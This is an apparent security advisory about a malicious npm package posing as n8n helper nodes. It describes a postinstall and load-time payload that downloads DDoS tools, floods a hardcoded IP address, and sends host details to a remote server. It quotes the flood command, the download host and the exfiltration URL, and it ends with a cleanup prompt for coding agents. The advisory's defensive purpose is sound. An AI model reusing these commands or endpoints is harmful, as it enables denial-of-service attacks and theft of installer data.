# MAL-2026-13901: Malicious code in @years19/n8n-nodes-utils-helper-r (npm)


- **Type:** Malicious package
- **Package:** `@years19/n8n-nodes-utils-helper-r` (npm)
- **Published:** 12 Aug 2026

## What is MAL-2026-13901?

MAL-2026-13901 is a malicious package in @years19/n8n-nodes-utils-helper-r, published on 12 Aug 2026. 

### Official description

The package declares `postinstall: node callback.js` and its `main` (index.js) is byte-identical to callback.js, so both `npm install` and `require('@years19/n8n-nodes-utils-helper-r')` trigger the same payload. At those trigger points the code fetches multiple tarballs (mhddos, PyRoxy, impacket) from `https://jasabersama.id/assets/cache/.theme-backup/dl/` over TLS with certificate validation disabled (`rejectUnauthorized:false`), extracts them into `/tmp` and into the user's Python site-packages, and spawns long-running Python flood processes against the hardcoded target `103.118.252.21:80` via `nohup python3 start.py UDP 103.118.252.21:80... &`. In parallel, callback.js/index.js collect installer host identity (`id`, `hostname`, Python version, dependency presence, attack log tails), base64-encode the output, and send it in a query string to `https://jasabersama.id/portfolio-data.php?k=S7k9xQ2mZj&c=<b64>`. The load-time duplicate ensures the attack chain still fires when `--ignore-scripts` suppresses postinstall.

## What should I do about MAL-2026-13901?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-13901 is a malicious package: @years19/n8n-nodes-utils-helper-r (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-13901/ (Markdown: https://insights.sbomify.com/MAL-2026-13901/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-13901

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-13901/
Summaries are generated and may contain mistakes; the official description above is the record.